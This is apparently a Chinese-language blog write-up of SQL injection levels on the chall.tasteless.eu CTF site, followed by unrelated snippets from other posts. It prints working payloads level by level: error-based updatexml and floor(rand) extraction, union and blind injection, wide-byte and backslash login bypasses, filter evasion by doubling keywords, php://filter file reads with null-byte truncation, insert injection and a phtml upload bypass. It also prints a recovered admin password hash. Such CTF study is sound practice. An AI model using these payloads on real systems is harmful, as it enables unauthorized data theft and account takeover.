chall.tasteless.eu 中的注入题
第一题好像就很难,看了payload,算是涨见识了,感觉有点为了猜而猜。
题目给我们的时候是这样的:http://chall.tasteless.eu/level1/index.php?dir=ASC
asc,desc 一对好基友,所以猜测是order by 后的注入。然后有个提示:Capture the flag! hint: table level1_flag column flag No Bsqli!!
不用布尔型注入。想法就是报错注入,

然后把语句丢上去。
http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1))--+ 直接返回错误,应该是关闭错误回显吧,也可能是括号构造的不够多,没有闭合更前面的括号。
后来看了答案在知道整个语句下的测试:
http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 0,1),1),1)))--+
比上面多了个括号,还是报错,把limit 增加上去。
http://chall.tasteless.eu/level1/index.php?dir=and (updatexml(1,concat(1,(select flag from level1_flag limit 1,1),1),1)))--+

这时返回正确,说明语句对了,更前面需要一个括号,然后他关闭了报错语句。
判断如下。当limit小于表中的列数,报错并返回数据,如果limit大于等于表中的列数,返回全部结果。也就是页面返回正常,所以判断为关闭了报错语句。

写不出来就去找答案了。http://qkqhxla1.tistory.com/m/191
他猜的过程都在链接里,(select * from table order by 1 $_GET['dir']);
语句是这样的,括号在最前面,还是第一次看到这么写,闭合括号然后就能union了,
一开始判断为order by注入,然后按着order by 注入一路走,因为order by 后面不能跟union,所以正常的出数据只能靠布尔型或者报错来判断。下次遇到这样的就能想到这题了。
mysql> (select 1) union (select 2);
+---+
| 1 |
+---+
| 1 |
| 2 |
+---+
2 rows in set (0.00 sec)
第二题就比较友好了,一分钟就出来了。
http://chall.tasteless.eu/level2/index.php?req=f' union (select 1,2,flag from level2_flag)--+
第四题:
不懂flag的格式:
用guest guest 登录以后,id存在注入
http://chall.tasteless.eu/level4/index.php?action=pm&id=1 and 'b'=substr((select pass from level4 where username='admin'),1,1)--+
正则匹配出现union字符串就报错,用盲注的形式。
注入出来admin的密码是98aa0ec014a46e34571affaf88999ebb
登录不了,不知道属不属于flag。
-----------
http://chall.tasteless.eu/level5/index.php5
是个登录题,登录题一般来说比较恶心,没回显,全靠经验加猜思路。得猜测注入点是在账号上还是密码上,然后是要闭合呢还是要用判断的方式绕过,或者去注释username的单引号,使之闭合后面的单引号然后用or 1=1 去绕。
这次是个宽字节的注入。
账号admin 密码:a%df%27!=2%23
后台注入的时候可以用如下的语句来想想他考的点能出现在哪里,
select * from user where username='admin' and password='a';

------------
第六题:
一开始用,(exists((select flag from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)))%23
发现可以爆出数据库的版本,但是想(exists((select flag from (select NAME_CONST((select flag from level6_flag),1),NAME_CONST((1),1)) as x)))%23
发现不行了,没法爆出来。name_const()提示错误。好像是只能爆常量,
http://chall.tasteless.eu/level6/index.php?in=,(select 1 from (select count(1),concat((select flag from level6_flag),floo*r(ra*nd(0)^2))x from (select 1 union select 2 union select 3)a group by x)b)%23
第一个语句中规中矩的group by报错注入,但是要注意的点就是过滤了or and * ,但是过滤的方式是替换成空,所以在某些关键字上要加一次,比如floor rand 都有出现or和and。
一开始不是用这个的,是用updatexml extractvalue 这两个函数,但是无论怎么加,最后还是过滤了,直接被die()掉.
http://chall.tasteless.eu/level6/index.php?in=,(coalesce((select flag from level6_flag where hex(substr(flag,1,1))=hex(98) oorr null limit 1),(select 1 union select 2)))%23
第二个就比较有意思了,第一次见这个函数,如果要复制的时候注意oorr,只有一个or。是为了绕过滤才写oorr。
Sql代码
select coalesce(a,b,c);
如果a==null,则选择b;如果b==null,则选择c;如果a!=null,则选择a;如果a b c 都为null ,则返回为null(没意义)。
http://chall.tasteless.eu/level8/index.php
注册,然后空格多点在加个1让他判断不是注册admin ,然后到空格后面就截断了,1就没算进来,所以注册admin 成功
看到后台注入就先怂了50分。
http://chall.tasteless.eu/level10/index.php
账号:admin\ 密码or 1=1
注释admin后面的单引号,然后就能or 1=1绕过了。
---------------
http://level11.tasteless.eu/index.php?file=php://filter/convert.base64-encode/resource=config.easy.inc.php
第二个过滤了php data 等关键字,应该不是替空操作,想到用%00看能不能截断,应该是没开gpc吧,读取php.ini,发现magic_quotes_gpc = Off
http://level11.tasteless.eu/index.php?hard=1&file=%00php://filter/read=convert.base64-encode/resource=config.hard.inc.php
-------------
http://chall.tasteless.eu/level15/index.php
应该是个insert注入
本地先构造一下,让思路清晰起来。
mysql> insert user(id,username,password) values('1','aaa','bbb');
然后我们能搞的应该就这样的。
mysql> insert user(id,username,password) values('3','aaa\',',(select user()));#');

------------------
http://level18.tasteless.eu/index.php~
过滤了php后缀,phtml直接秒掉
chall.tasteless.eu 中的注入题的更多相关文章
- ctf中常见注入题源码及脚本分析
1.代码审计发现 这里没有用escape_string,因此存在注入. function show($username){ global $conn; $sql = "select role ...
- 【Java EE 学习 70 下】【数据采集系统第二天】【Action中User注入】【设计调查页面】【Action中模型赋值问题】【编辑调查】
一.Action中User注入问题 Action中可能会经常用到已经登陆的User对象,如果每次都从Session中拿会显得非常繁琐.可以想一种方法,当Action想要获取User对象的时候直接使用, ...
- @Autowired获取配置文件中被注入实例的两种方式
一.说明 二.那么在JavaBean中如何通过@Autowired获取该实例呢?有两种方式: 1.直接获取 @RunWith(SpringJUnit4ClassRunner.class) @Conte ...
- JavaScript中依赖注入详细解析
计算机编程的世界其实就是一个将简单的部分不断抽象,并将这些抽象组织起来的过程.JavaScript也不例外,在我们使用JavaScript编写应用时,我们是不是都会使用到别人编写的代码,例如一些著名的 ...
- iOS中动态注入JavaScript方法。动态给html标签添加事件
项目中有这样一种需求,给html5网页中图片添加点击事件,并且弹出弹出点击的对应的图片,并且可以保持图片到本地 应对这样的需求你可能会想到很多方法来实现. 1. 最简单的方法就是在html5中添加图片 ...
- 带你开发一款给Apk中自动注入代码工具icodetools(完善篇)【申明:来源于网络】
带你开发一款给Apk中自动注入代码工具icodetools(完善篇)[申明:来源于网络] 带你开发一款给Apk中自动注入代码工具icodetools(完善篇):http://blog.csdn.net ...
- [重点]delphi 实现 根据给定的标题去《中国青年报》网上电子报数据中查找匹配的内容,并从该内容中取出引题、正题、副题、作者和正文。
项目要求:根据给定的标题去<中国青年报>网上电子报数据中查找匹配的内容,并从该内容中取出引题.正题.作者和正文. unit Unit1; interface uses Winapi.Win ...
- boot中 Quartz注入spring管理类失败
在项目中用到了Quartz,想在里面实现业务操作发现sping类注入总是失败.后来网上查询了一下解决办法.下面把我成功解决问题的这个版本发出来,大家一起学习一下. 在quartz 会发现 job中无法 ...
- SpringBoot拦截器中无法注入bean的解决方法
SpringBoot拦截器中无法注入bean的解决方法 在使用springboot的拦截器时,有时候希望在拦截器中注入bean方便使用 但是如果直接注入会发现无法注入而报空指针异常 解决方法: 在注册 ...
随机推荐
- 工作流Activiti5.13学习笔记(一)
了解工作流 1.工作流(Workflow),就是“业务过程的部分或整体在计算机应用环境下的自动化”,它主要解决的是“使在多个参与者之间按照某种预定义的规则传递文档.信息或任务的过程自动进行,从而实现某 ...
- 【Nginx系列】Nginx虚拟主机的配置核日志管理
Nginx配置段 #user nobody; worker_processes 1;// 有1个工作的子进程,可以自行修改,但太大无益,因为要争夺CPU,一般设置为 CPU数*核数 #error_lo ...
- Windows 安装nginx并开机启动
Win安装nginx并 开机启动 下载nginx安装包 nginx-1.12.2.zip,解压到D盘. https://pan.baidu.com/s/1InQa527yq35Q68c73RBb-A# ...
- Hibernate——配置并访问数据库
Hibernate,对于java来说很重要的一个东西,用于持久层.之前看了很多配置的,都不行,自己来写一个配置成功的. 环境:jdk1.8,eclipse-jee-oxygen,mysql-conne ...
- c语言第1次作业
一.PTA实验作业 题目1:7-3 温度转换 本题要求编写程序,计算华氏温度150°F对应的摄氏温度.计算公式:C=5×(F−32)/9,式中:C表示摄氏温度,F表示华氏温度,输出数据要求为整型. 1 ...
- 团队作业7——第二次项目冲刺(Beta版本12.05-12.07)
1.当天站立式会议照片 本次会议内容:1:每个人汇报自己完成的工作.2:组长分配各自要完成的任务. 2.每个人的工作 黄进勇:项目整合,后台代码. 李勇:前台界面优化. 何忠鹏:数据库模块. 郑希彬: ...
- New UWP Community Toolkit - ImageEx
概述 UWP Community Toolkit 中有一个图片的扩展控件 - ImageEx,本篇我们结合代码详细讲解 ImageEx 的实现. ImageEx 是一个图片的扩展控件,包括 Ima ...
- 《javascript设计模式与开发实践》阅读笔记(14)—— 中介者模式
中介者模式 数个对象之间的通信全部委托一个中介者完成.适用于对象之间互相引用,关系错综复杂的情况. 什么情况下需要使用中介者模式 对象较多,且对象间会相互引用,当一个对象的某个状态改变时,得通知其他对 ...
- Visual Studio Code初识与自动化构建工具安装
1.Visual Studio Code如何新建文件夹 要自己手动在本地新建,然后再点击文件->打开文件夹即可. 之后你就可以任意添加文件了 2.如何使用自动化构建工具 通过自动化构建工具,用户 ...
- ajax和jquery使用技巧
1.使用ajax的方法的时候可以使用u方法来获取连接,这样更加安全:alert弹窗的时候需要单引号双引号火狐浏览器会报错!